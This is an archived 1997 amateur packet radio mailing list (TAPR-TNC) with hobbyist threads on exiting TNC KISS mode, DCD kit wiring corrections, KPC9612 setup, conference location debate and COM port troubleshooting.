SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. Physical Layer data ?

From: "Harry Burford" <hburford@airmail.net>
Date: Wed, 5 Mar 1997 16:17:32 -0600
To: <tapr-tnc@tapr.org>
Message-ID: <m0w2P04-0002CcE@mail.airmail.net>
Rendered body type: text/plain

A typical TNC2 does the Layer 1 Physical and Layer 2 Data Link. Is there
any way to set up a TNC so that only raw Layer 1 data is passed to the host
computer? Any way to bypass the Layer 2 function?

I hope this is possible with commands. Transparent mode doesn't look like
an option because data is still being stuffed into packets. Perhaps
something with KISS. Anyone have any ideas?

hburford@airmail.net

3. Re: [TAPR-TNC:312] Physical Layer data ?

From: Wes Johnston <kd4rdb@usa.net>
Date: Wed, 05 Mar 1997 18:46:29 -0500
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19970305184403.006bc9b4@premierweb.net>
Rendered body type: text/plain

how about kiss mode?

At 04:21 PM 3/5/97 -0600, you wrote:
>A typical TNC2 does the Layer 1 Physical and Layer 2 Data Link. Is there
>any way to set up a TNC so that only raw Layer 1 data is passed to the host
>computer? Any way to bypass the Layer 2 function?
>
>I hope this is possible with commands. Transparent mode doesn't look like
>an option because data is still being stuffed into packets. Perhaps
>something with KISS. Anyone have any ideas?
>
>hburford@airmail.net
>
>
73s de Wes
http://www.premierweb.net/users/kd4rdb
kd4rdb@usa.net   (files and attachments)
kd4rdb@on1kul.ampr.org   (ax25 and 7plus)

   ...What was the best thing BEFORE sliced bread?

4. Re: [TAPR-TNC:313] Re: Physical Layer data ?

From: "Harry Burford" <hburford@airmail.net>
Date: Thu, 6 Mar 1997 09:39:09 -0600
To: <tapr-tnc@tapr.org>
Message-ID: <m0w2fG7-0000VuE@mail.airmail.net>
Rendered body type: text/plain

Considered that, and that is my next step after I try some hardware
hacking. Forgot about the MODEM disconnect header inside the PacComm
Tiny-2 that I'm looking to use. It is possible to simply tap off the MODEM
output before it goes to the Layer 2 stuff and then pass it out on a cable
to a RS-232 level converter. If I do it right, I wont degrade normal
packet performance either.

The problem with KISS is that once you invoke that mode, you are locked in
that mode. I think there is a ALT- key sequence that will get you back to
normal PACKET or you can open the box and pull the battery jumper to reset
bbRAM.

hb

> From: Wes Johnston <kd4rdb@usa.net>
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:313] Re: Physical Layer data ?
> Date: Wednesday, March 05, 1997 5:47 PM
>
> how about kiss mode?
>
>
>
>
> At 04:21 PM 3/5/97 -0600, you wrote:
> >A typical TNC2 does the Layer 1 Physical and Layer 2 Data Link. Is
there
> >any way to set up a TNC so that only raw Layer 1 data is passed to the
host
> >computer? Any way to bypass the Layer 2 function?
> >
> >I hope this is possible with commands. Transparent mode doesn't look
like
> >an option because data is still being stuffed into packets. Perhaps
> >something with KISS. Anyone have any ideas?
> >
> >hburford@airmail.net
> >
> >
> 73s de Wes
> http://www.premierweb.net/users/kd4rdb
> kd4rdb@usa.net   (files and attachments)
> kd4rdb@on1kul.ampr.org   (ax25 and 7plus)
>
>   ...What was the best thing BEFORE sliced bread?
>

5. Using ATM For Radio

From: Gilles BARBE <f1jtn@easynet.fr>
Date: Thu, 06 Mar 1997 18:21:04 +0000
To: tapr-tnc@tapr.org
Message-ID: <331F0B0F.63E8@easynet.fr>
Rendered body type: text/plain

I've got an Idea :
        Why Radio Ham do not use ATM Protocol to communicate ?
        The Protocol could be use for regional links or eventualy for end users

        Could you tell me waht you think about the idea. is it an utopia?

        73's QRO F1JTN op Gilles
        See you soon on the air

6. Hardware DCD Kits for PK-88

From: garym@cts.com (Gary Morris)
Date: Thu, 6 Mar 1997 09:38:03 -0800
To: tapr-tnc@tapr.org
Message-ID: <m0w2h7D-0000auC@crash.cts.com>
Rendered body type: text/plain

I recently purchased two Hardware DCD kits
(http://www.tapr.org/tapr/html/dcd.html#dcd) to use in a couple PK-88 TNCs
that I have. After installing the kits and trying to get them to work
without success I finally traced the problem down to an error in the
installation instructions. The installation instructions for the PK-88
tell you to connect one of the wires to pin 28 of the 7910 modem chip on
the PK-88, however this is an error, it should really be connected to pin
26 of the 7910 to get the demodulated data from the 7910. The generic
installation instructions do specify the correct pin (26) for use with any
generic TNC that has a 7910 modem chip, only the specific PK-88
installation instructions are in error.

I know of someone else who ran into this same problem and couldn't figure out
why his DCD kit didn't work, so I thought it would be good to pass the word
along and hopefully the instructions can be corrected also.

Gary Morris
KK6YB

7. Re: Physical Layer data ?

From: "John A. Hansen" <hansen@ait.fredonia.edu>
Date: Thu, 06 Mar 1997 16:03:40 -0500
To: tapr-tnc@tapr.org
Message-ID: <331F312C.1FE8@ait.fredonia.edu>
Rendered body type: text/plain

>The problem with KISS is that once you invoke that mode, you are locked in
>that mode. I think there is a ALT- key sequence that will get you back to
>normal PACKET or you can open the box and pull the battery jumper to reset
>bbRAM.
>
>hb

To get it out of KISS mode programmatically, just send the tnc the
following
bytes:

192,255,13

John Hansen, WA0PTV

8. Kiss Mode Packet Legality?

From: "John A. Hansen" <hansen@ait.fredonia.edu>
Date: Thu, 06 Mar 1997 16:08:40 -0500
To: tapr-tnc@tapr.org
Message-ID: <331F3258.1108@ait.fredonia.edu>
Rendered body type: text/plain

Hi Folks:

   I had previously been under the impression that the FCC rules limited
the information field of a packet to 256 bytes for amateur radio. This
seems to be what is indicated in section 2.2.5 of the AX.25 protocol.
However, someone else who is heavily involved in tcp/ip said there was
no such legal restriction. Does anyone have a more or less
authoritative answer on this?

Thanks,

John Hansen, WA0PTV

9. Re: [TAPR-TNC:317] Re: Physical Layer data ?

From: Sid Ashen-Brenner <sashen@midusa.net>
Date: Thu, 06 Mar 1997 17:42:57 -0600
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19970306172218.006a0df4@midusa.net>
Rendered body type: text/plain

At 03:05 PM 3/6/97 -0600, you wrote:
>>The problem with KISS is that once you invoke that mode, you are locked in
>>that mode. I think there is a ALT- key sequence that will get you back to
>>normal PACKET or you can open the box and pull the battery jumper to reset
>>bbRAM.
>>
>
>To get it out of KISS mode programmatically, just send the tnc the
>following
>bytes:
>
>192,255,13
>
>John Hansen, WA0PTV
>
Um, I "think" it's [ALT]192 [ALT]255 [ALT]192 ... at least that works with
My TNC's.
(MFJ 1270B's, MFJ 1274, KPC-3, and PacComm Spirit 2)

Sid n0obm

Sid Ashen-Brenner   Salina, Kansas
Internet : sashen@midusa.net
AX-25 : n0obm @ n0obm.#ncks.ks.usa.noam

10. Re: [TAPR-TNC:314] Re: Physical Layer data ?

From: Wes Johnston <kd4rdb@usa.net>
Date: Thu, 06 Mar 1997 20:56:08 -0500
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19970306205308.006a1540@premierweb.net>
Rendered body type: text/plain

the way out of kiss mode is <alt 192(on the number keypad)> <alt 255><alt
192>
all kiss commands begin and end with 192 ($C0). you can easily get out of
kiss mode with a command in BASIC such as:

print #1,chr$(192);chr$(255);chr$(192)

there is also a progrm called kissinit from germany that runs from a
command line in dos.... I used it in the autoexec.bat when I ran jnos to
get the tnc into and out of kiss mode. If there is any interest, I'll
locate a copy.

At 09:41 AM 3/6/97 -0600, you wrote:
>The problem with KISS is that once you invoke that mode, you are locked in
>that mode. I think there is a ALT- key sequence that will get you back to
>normal PACKET or you can open the box and pull the battery jumper to reset
>bbRAM.

73s de Wes
http://www.premierweb.net/users/kd4rdb
kd4rdb@usa.net   (files and attachments)
kd4rdb@on1kul.ampr.org   (ax25 and 7plus)

   ...What was the best thing BEFORE sliced bread?

11. KPC9612 PLUS

From: Jerry Meng <renbo@mail.chinapro.net.cn>
Date: Fri, 07 Mar 1997 18:07:06 +0800
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.32.19970307180706.006c71c0@mail.chinapro.net.cn>
Rendered body type: text/plain

Hello all,
       I purchased a KPC9612 PLUS, but I don't have the install manual.

Just wonder who can tell me
how to connect one radio to two ports(I saw there is a ONERADIO command)
but don't know how to
connect the hardware? More, How to use the 19200 baud high speed? Only
change the HBaud to
19200? Do I have to change any jumper insides TNC? Is the 25KHz normal
radio OK for 19200?

Thanks in advance and 73

de BA1FB, Jerry Meng

email to: ba1fb@amsat.org
http://www.qsl.net/ba1fb

12. Re: [TAPR-TNC:321] KPC9612 PLUS

From: John/Carol Wilson <carollw@fcae.acast.nova.edu>
Date: Fri, 07 Mar 1997 19:48:06 -0500
To: tapr-tnc@tapr.org
Message-ID: <3320B746.601F@fcae.acast.nova.edu>
Rendered body type: text/plain

Jerry Meng wrote:
>
> Hello all,
>   I purchased a KPC9612 PLUS, but I don't have the install manual.
> Just wonder who can tell me
> how to connect one radio to two ports(I saw there is a ONERADIO command)
> but don't know how to
> connect the hardware? More, How to use the 19200 baud high speed? Only
> change the HBaud to
> 19200? Do I have to change any jumper insides TNC? Is the 25KHz normal
> radio OK for 19200?
>
> Thanks in advance and 73
>
> de BA1FB, Jerry Meng
>
> email to: ba1fb@amsat.org
> http://www.qsl.net/ba1fb
I have one of those thingies and connected the 9600 port to the
varactor/discriminator of the rig and the 1200 port to the microphone
input/speaker output of the same rig. Use caps to connect to the 9600
side. You could try 4.7 uF 15 volt jobbies (go with non-polarized,
easier).   When I want to switch from 9600 to 1200 or vice/versa I just
change streams and that puts me in the proper port. Nothing special was
done to the TNC or to the rig, except for the varactor/discriminator
coax connection.

73,
John, KN4HX

13. Re: Physical Layer data ?

From: "(SV2AGW) Rossopoulos George" <sv2agw@the.forthnet.gr>
Date: Fri, 7 Mar 1997 18:43:20 +0200
To: <tapr-tnc@tapr.org>
Message-ID: <199703080807.KAA03335@info.forthnet.gr>
Rendered body type: text/plain

Hi Harry

There is no right answer for your question because you ddint tell what you
want to do.
If you wish just to bypass AX25 and use another protocoll like AX25 then
you can use KISS mode.
If you wish to do something tottaly different the best solution is to write
a new EPROM for TNC2 that will just send the data to the serial port. But
for most purposes KISS mode is just fine.
To exit KISS mode use a simple terminal program and send the sequence
192,255,192 as bytes.
Keep pressed the alt key and type with the numeric key pad the number
192,release the alt key,then do
the same for the 255 and 192(Keep the alt key pressed type the 3 digits and
then released).

73
Rossopoulos George
e-mail:sv2agw@the.forthet.gr
packet:SV2AGW@SV2DXC.TSL.GRC.EU

```
----------
> From: tapr-tnc@tapr.org
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:312] TAPR-TNC digest 149
> Date: Πέμπτη, 6 Μαρτίου 1997 12:24 πμ
>
>                          TAPR-TNC Digest 149
>
> Topics covered in this issue include:
>
>   1) Physical Layer data ?
>       by "Harry Burford" <hburford@airmail.net>
>
> ------------------------------------------------------------------------
>
> Date: Wed, 5 Mar 1997 16:17:32 -0600
> From: "Harry Burford" <hburford@airmail.net>
> To: <tapr-tnc@tapr.org>
> Subject: Physical Layer data ?
> Message-ID: <m0w2P04-0002CcE@mail.airmail.net>
>
> A typical TNC2 does the Layer 1 Physical and Layer 2 Data Link.  Is there
> any way to set up a TNC so that only raw Layer 1 data is passed to the
host
> computer?  Any way to bypass the Layer 2 function?
>
> I hope this is possible with commands.  Transparent mode doesn't look
like
> an option because data is still being stuffed into packets.  Perhaps
> something with KISS.  Anyone have any ideas?
>
> hburford@airmail.net
>
>
> ------------------------------
>
> End of TAPR-TNC Digest 149
> ************************
```

14. 1997 ARRL/TAPR DCC Announcement - forwarded message from Greg Jones

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 20 Mar 1997 17:06:05 -0500
To: tapr-tnc@tapr.org
Message-ID: <199703202206.RAA01624@penny.n2wx.ampr.org>
Rendered body type: text/plain
```

```
------- start of forwarded message (RFC 934 encapsulation) -------

Press Release.  Please distribute as widely as possible.
March 15th, 1997

- ------------------------------------------------------------------------

1997 ARRL and TAPR Digital Communications Conference
October 10-12, 1997
Baltimore, Maryland (minutes from BWI airport)

Web: http://www.tapr.org/dcc


1997 ARRL and TAPR Digital Communications Conference

Mark your calendar and start making plans to attend the year's premier
event in amateur radio digital communications.

The 1997 ARRL and TAPR Digital Communications Conference will be held
October 10-12, 1997 in Baltimore, Maryland. This year's conference location
is just minutes away from the BWI (Baltimore/Washington International)
Airport.  The 1997 DCC will be co-hosted by AMRAD (Amateur Radio Research
and Development Corporation).

The ARRL and TAPR Digital Communications Conference is an international
forum for radio amateurs and experts in digital communications, networking,
and related technologies to meet, publish their work, and present new ideas
and techniques for discussion.  Presenters and attendees will have the
opportunity to exchange ideas and learn about recent hardware and software
advances, theories, experimental results, and practical applications.  1997
```

marks the second year in which the ARRL Digital Communications Conference and TAPR Annual General Meeting have joined into one conference!

Anyone interested in digital communications is invited to submit a paper for publication in the Conference Proceedings. Presentation at the Conference is not required for publication. If you know of someone who is doing great things with digital communications, be sure to personally tell them about this! Papers are due by August 20th, 1997, and should be submitted to Maty Weinberg, ARRL, 225 Main Street, Newington, CT 06111 or via the Internet to lweinberg@arrl.org. Information on paper submission guidelines are available on-line (http://www.tapr.org/dcc).

ARRL and TAPR especially welcome papers from full time students to compete for the second annual student papers award. Two $500 travel awards may be given, one in each of the following categories: a) best technical/theory-oriented paper by a student, and b) best educational or community-oriented application paper by a student. The paper should relate directly to a wireless digital communication topic (see guidelines for more information). Papers coauthored by educators or telecommunications professionals are also eligible for this award, as long as a student is the first author. Deadline for receipt of finished student paper manuscript: June 20th, 1997. Please note that this deadline is different than the general conference submission date. For full details and paper guidelines contact TAPR or check http://www.tapr.org/dcc.

The conference schedule has seminars/symposiums on Friday afternoon and Sunday. Conference papers, selected topics thread, lunch, and dinner are on Saturday. Symposiums held at this years DCC will include a full-day symposium on "APRS packet-location software", half-day symposium on "Spread Spectrum system design and theory" and a half-day seminar on Friday entitled "RF Basics for Computer Weenies: Helping the RF-challenged get the most out of the new high-speed wireless toys". See the advanced registration form for more details as well as http://www.tapr.org/dcc

For more information on the conference, registration, and hotel reservations, please contact TAPR at the address below.

TAPR Office:
8987-309 E. Tanque Verde Rd. #337
Tucson, AZ 85749-9399
Phone: (817) 383-0000
Fax: (817) 566-2544

Internet E-Mail: tapr@tapr.org
Internet Web: http://www.tapr.org

------- end -------

15. 1997 ARRL/TAPR DCC Announcement - forwarded message from Greg Jones

From: Dino Darling <dinod@deltanet.com>
Date: Thu, 20 Mar 1997 15:51:21 -0800
To: tapr-tnc@tapr.org
Cc: netsig@tapr.org, ss@tapr.org
Message-ID: <1.5.4.32.19970320235121.006909ac@mail.deltanet.com>
Rendered body type: text/plain

>
>1997 ARRL and TAPR Digital Communications Conference
>October 10-12, 1997
>Baltimore, Maryland (minutes from BWI airport)
>
>Web: http://www.tapr.org/dcc

With respect to TAPR and its members, Maryland is too far! What ever happened to La Vegas? Why not Dayton (not the same time as the Dayton Hamvention!)? Dayton is at least central to the US packet community.

I understand there are many good Digital Operators on the east coast and Maryland will serve them well, but it is expensive for us on the left coast!

Dino Darling...KC6RIX
TAPR Member #3685 / ARRL Member
dinod@deltanet.com

16. Re: [TAPR-TNC:325] 1997 ARRL/TAPR DCC Announcement - forwarded message from Greg

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Thu, 20 Mar 1997 18:28:26 -0600
To: tapr-tnc@tapr.org

Message-ID: <v0302076baf57869f8ad3@[208.134.134.40]>
Rendered body type: text/plain

Dino,

as has been stated from the beginning of the joint meeting process between the ARRL and TAPR, the location of the DCC moves from East Coast to West Coast. Texas '95, Washington '96, now Maryland in '97. Next year a site in the central part of the US will be picked, the year after that it will be in the West again, and then back to the East coast.

Thus, someone last year was probably saying this same thing about Washington state who lived on the East coast.

In this fashion, if you don't want to fly -- and BWI is not all the expensive to get in and out of -- then you pass on this year and wait for it to move a little closer until it gets back around to your part of the US. Most of us just budget that is is going to cost money to fly to it no matter where it is and every year the airfare is different anyways -- not dependent on distance.

This is a fair solution to all TAPR and ARRL members alike who want to attend the conference.

Air fare is cheap. I flew from DFW to BWI for $175 a month ago. OUt of all the airports in that part of the US, BWI has some of the best prices for getting in and out of. If you made reservations now -- while the prices are still in flux you might find a pretty low cost ticket....or like many us -- use those advantage miles.

As to Las Vegas. Seattle was the replacement for Las Vegas in 1996. As was reported in the PSR last year, after checking on hotel locations and availability for Las Vegas, ARRL and TAPR couldn't afford to hold the conf there. If we had wanted to hold the conf in the middle of the week, they were all setup to afford what we could meet, but holding the conf on the weekend in Las Vegas was not possible. Meeting space was a full price on the weekends.

If you want it local, the best solution is to become a local co-host.

Cheers - Greg

>>
>>1997 ARRL and TAPR Digital Communications Conference
>>October 10-12, 1997
>>Baltimore, Maryland (minutes from BWI airport)
>>
>>Web: http://www.tapr.org/dcc
>
>With respect to TAPR and its members, Maryland is too far! What ever
>happened to La Vegas? Why not Dayton (not the same time as the Dayton
>Hamvention!)? Dayton is at least central to the US packet community.
>
>I understand there are many good Digital Operators on the east coast and
>Maryland will serve them well, but it is expensive for us on the left
>coast!
>
>Dino Darling...KC6RIX
>TAPR Member #3685 / ARRL Member
>dinod@deltanet.com

Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd
-----

17. Re: [TAPR-TNC:326] Re: 1997 ARRL/TAPR DCC Announcement - forwarded

From: Tom Clarke <fclarke@erols.com>
Date: Tue, 04 Mar 1997 06:14:20 -0800
To: tapr-tnc@tapr.org
Message-ID: <331C2E3C.110F@erols.com>
Rendered body type: text/plain

DCC location

Seems fair, of course I live near Balto!! Seriously you can try

www.bestfares.com and there are some amazing deals. This weekend you can
travel to London for $189 roundtrip! Gotta be flexible tho....

Tom Clarke, W4OKW/3
the "other" Tom Clark, (with an "e" :-)
fclarke@erols.com

18. Re: [TAPR-TNC:325] 1997 ARRL/TAPR DCC Announcement - forwarded message from Greg

From: Jim Chandler <jchandle@flash.net>
Date: Fri, 21 Mar 1997 10:18:22 -0700
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.32.19970321101822.0079cde0@flash.net>
Rendered body type: text/plain

TAPR membership is not restricted to the West and SouthWest. I am glad to
see these conferences move around the country. I may not be able to afford
to go to all of them, but I can when its close. It also encourages more
diverse group to go, not just the core group who makes the trek to the same
location every year.

Jim

At 05:59 PM 3/20/97 -0600, you wrote:
>>
>>1997 ARRL and TAPR Digital Communications Conference
>>October 10-12, 1997
>>Baltimore, Maryland (minutes from BWI airport)
>>
>>Web: http://www.tapr.org/dcc
>
>With respect to TAPR and its members, Maryland is too far! What ever
happened to La Vegas? Why not Dayton (not the same time as the Dayton
Hamvention!)? Dayton is at least central to the US packet community.
>
>I understand there are many good Digital Operators on the east coast and
Maryland will serve them well, but it is expensive for us on the left coast!
>
>Dino Darling...KC6RIX
>TAPR Member #3685 / ARRL Member
>dinod@deltanet.com
>
>

19. TAPR Board Election -- Don't forget to vote!

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Sun, 23 Mar 1997 14:05:32 -0600
To: "APRS SIG list   mailing"<aprssig@tapr.org>,
        " DSP-93 Build "<dsp-93@tapr.org>,
        "HF SIG list   mailing"<hfsig@tapr.org>,
        "NETSIG list   mailing"<netsig@tapr.org>,
        "BBS SIG list   mailing"<bbssig@tapr.org>,
        " TAPR/AMSAT DSP "<dsp@tapr.org>,
        "TAPR-BB list   mailing"<tapr-bb@tapr.org>,
        TAPR Regional Freq <regional_freq@tapr.org>,
        " tapr-tnc "<tapr-tnc@tapr.org>, " Spread Spectrum "<ss@tapr.org>
Message-ID: <v03007814af5b3a76bea5@[208.134.134.40]>
Rendered body type: text/plain

TAPR Board of Directors Elections

If you are a member of TAPR, don't forget to take the time to vote!

We have four people running for three places, so it could be your vote that
determines who is on the TAPR Board of Directors.

Deadline for balloting is March 30th, 1997.

This year, members of TAPR can vote either by mail in ballot or over the
Internet using the world wide web. Check your PSR on how to submit your
vote via the web.

Don't lose your PSR, because you will need information contained on your
mail label. If you have problems using the web system, contact Dorothy at
the office and we can look into the issue.

PSRs were mailed on March 5th, so all members should have them by now. If
you have not received your PSR, call or send e-mail to the office and
request a ballot be sent or request the necessary information to allow you

to ballot using the on-line Web page.

**** DEADLINE March 30th! ****

Tucson Amateur Packet Radio
8987-309 E Tanque Verde Rd #337 * Tucson, Az * 85749-9399 * 817-383-0000
---
e-mail: TAPR@TAPR.ORG ftp: ftp.tapr.org   web: <http://www.tapr.org/>
---

20. Re: [TAPR-TNC:328] Re: 1997 ARRL/TAPR DCC Announcement - forwarded

From: "Robert L. Smith" <bobsmith@i2020.net>
Date: Wed, 26 Mar 1997 10:16:10 -0500
To: tapr-tnc@tapr.org
Message-ID: <199703261539.KAA14920@sparky.i2020.net.>
Rendered body type: text/plain

At 11:25 AM 3/21/97 -0600, you wrote:
>TAPR membership is not restricted to the West and SouthWest. I am glad to
>see these conferences move around the country. I may not be able to afford
>to go to all of them, but I can when its close. It also encourages more
>diverse group to go, not just the core group who makes the trek to the same
>location every year.
>
>Jim
>
>At 05:59 PM 3/20/97 -0600, you wrote:
>>>
>>>1997 ARRL and TAPR Digital Communications Conference
>>>October 10-12, 1997
>>>Baltimore, Maryland (minutes from BWI airport)
>>>
>>>Web: http://www.tapr.org/dcc
>>
>>With respect to TAPR and its members, Maryland is too far! What ever
>happened to La Vegas? Why not Dayton (not the same time as the Dayton
>Hamvention!)? Dayton is at least central to the US packet community.
>>
>>I understand there are many good Digital Operators on the east coast and
>Maryland will serve them well, but it is expensive for us on the left coast!
>>

Gee, and I was about to say the same thing about all those meetings in
Las Vegas and, God forbid, those points even further west.

I for one am extremely happy to see one scheduled close enough to Central
Virginia that I don't have to subject myself to the indignity of traveling
at the mercy of U.S. Airlines to get there!!

Well Done, TAPR, its on MY calendar.

  73 all, de bob, wa4ypv

>>Dino Darling...KC6RIX
>>TAPR Member #3685 / ARRL Member
>>dinod@deltanet.com
>>
>>
>
>
-
---- Avoid computer viruses -- Practice safe hex --------------
Robert L. (Bob) Smith   Smith Machine Works, Inc.
amprnet   wa4ypv@w4za.ampr.org   9900 Lumlay Road
internet   bobsmith@i2020.net   Richmond, VA 23236+1004
landline   804/745-1065

21. KAM Plus ?

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Wed, 26 Mar 1997 22:53:28 -0600
To: " tapr-tnc "<tapr-tnc@tapr.org>
Message-ID: <v03007816af5fad50537b@[208.134.134.40]>
Rendered body type: text/plain

We had the following person ask about their KAM PLUS. I don't know the
answer -- does someone on the TNC list know ?

What is the difference between the KAM and KAM PLUS.

Cheers - Greg

>>Date: Wed, 26 Mar 1997 17:23:08 -0600 (CST)
>>Reply-to: KKUZMA@IBM.NET
>>To: ka5dwr@tapr.org
>>From: KKUZMA@IBM.NET
>>Subject: (Form) Comments from your Home Page from
>>
>>Name: KEN P KUZMA
>>Callsign: KE4MG
>>Email: KKUZMA@IBM.NET
>>
>>
>>---Comments--
>>i AM INTERESTED IN A TAPR DCD UP GRADE FOR MY KAM PLUS CONTROLLER.
>>WILL THE DCD STATE UPGRADE WORK ON THIS UNIT. I SEE THAT IT
>>WILL WORK ON A KAM BUT I AM NOT SURE IF THERE IS A DIFFERANCE
>>BETWEEN THESE UNITS. PLEASE LET ME KNOW
>>IF THE UPGRADE WILL WORK ON MY UNIT.
>>
>>THANKS KEN KUZMA KE4MG
>>---
>>

Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd
-----

22. Re: [TAPR-TNC:331] KAM Plus ?

From: Sid Ashen-Brenner <sashen@midusa.net>
Date: Thu, 27 Mar 1997 01:21:03 -0600
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19970327012056.006bee6c@midusa.net>
Rendered body type: text/plain

At 10:57 PM 3/26/97 -0600, you wrote:
>We had the following person ask about their KAM PLUS. I don't know the
>answer -- does someone on the TNC list know ?
>
>What is the difference between the KAM and KAM PLUS.

>From what I remember from the last time I "toured" the factory, the PLUS
has a daughter board that allows the user to use the newer xTOR modes.
There is also a firmware upgrade involved. Further refinements may also be
necessary depending on the age (revision) of the motherboard.
Possibly there are more exact details avilable at http://www.kantronics.com

Sorry I don't have more exact details.

73 de Sid   n0obm

Sid Ashen-Brenner   Salina, Kansas
Internet : sashen@midusa.net
AX-25 : n0obm @ n0obm.#ncks.ks.usa.noam

23. Periodic announcement

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Tue, 1 Apr 1997 00:00:03 -0500
To: tapr-tnc@tapr.org
Message-ID: <199704010500.AAA01496@penny.n2wx.ampr.org>
Rendered body type: text/plain

Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
****

To Unsubscribe:

To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

For help with the listproc

The list processor TAPR runs has many interesting features. Please check
them out at your leisure. To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject. In the message body write

    HELP

Posting rejected?

This mailing list accepts postings only from subscribers. If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.

Problems with your internet provider?

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE. This should be extremely
unlikely but if it happens, DO NOT PANIC: Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

****
  Statement of Purpose
****

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs. It is not moderated. Please
try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR SIGs as well as this one. Initial crossposting is not necessarily a bad idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly extinguished. The list owner reserves the right to deal with flames and off-topic posts from a stance gauranteed to lie somewhere between complete arbitrariness and Solomonesque. Hopefully more of the latter than the former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may contain answers to questions you have...and maybe some you have but didn't realize you had. You can access these resources with:

ftp to ftp.tapr.org /tapr/...

WWW to http://www.tapr.org/tapr/
and
http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

April 1997

Original source file: tapr-tnc.9704
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9704

1. Cannot connect to TNC

From: UXMZ52A@prodigy.com (VP LEO M PAWELCZYK)
Date: Sat, 12 Apr 1997 08:13:05, -0500
To: tapr-tnc@tapr.org
Message-ID: <199704121213.IAA308428@mime4.prodigy.com>
Rendered body type: text/plain

```
Using a tnc MFJ-1278b
Software Procomplus
No response from TNC
However everything was working fine until I made an attempt to
install EROLS an inter net
provider.

TNC has yet to respond to the P.C.

Sent TNC to MFJ Tech. TNC checks out OK
Set all parameters as described in the owners manual

Experimented with different baud rates 1200,2400 ETC.

Tried different Com Ports 2,3,4

Still no response      Any suggestions would be greatly received

                           TNX

                                    Leo N3RIO
```

2. Re: [TAPR-TNC:334] Cannot connect to TNC

From: Wes Johnston <kd4rdb@usa.net>
Date: Sat, 12 Apr 1997 09:40:53 -0400
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19970412094052.007d11f0@coca.net>
Rendered body type: text/plain

```
This could be an IRQ problem.  If the modem is being accessed at the same
time as the TNC and both comports use the same irq (1&3 use irq 4, 2&4 use
irq 3), you will see no response from the modem.  Also check the
handshaking.... you did not say if your version of procom was for windows,
and if it is, it may rely on the default port settings which may have
changed your flowcontrol.  For testing, turn off all flow control.  hope
this helps.  By the way, what is on com1?  is it a mouse?  if so, then
assuming standard IRQ's, the modem and TNC should go on com2 & com4.


At 07:18 AM 4/12/97 -0500, you wrote:
>Using a tnc MFJ-1278b
>Software Procomplus
>No response from TNC
>However everything was working fine until I made an attempt to
>install EROLS an inter net
>provider.
>
>TNC has yet to respond to the P.C.
>
>Sent TNC to MFJ Tech. TNC checks out OK
>Set all parameters as described in the owners manual
>
>Experimented with different baud rates 1200,2400 ETC.
>
>Tried different Com Ports 2,3,4
>
>Still no response      Any suggestions would be greatly received
>
>                           TNX
>
>                                    Leo N3RIO
>
>
>
>
73s de Wes
```

http://www.premierweb.net/users/kd4rdb (home page)
mailto:kd4rdb@usa.net   (files and attachments)
mailto:kd4rdb@on1kul-10.ampr.org   (ax25 and 7plus)

Artificial Intelligence is the study of how to make real computers act like
the ones in movies.

3. Re: [TAPR-TNC:334] Cannot connect to TNC

From: Jim Chandler <jchandle@flash.net>
Date: Sat, 12 Apr 1997 09:02:07 -0500
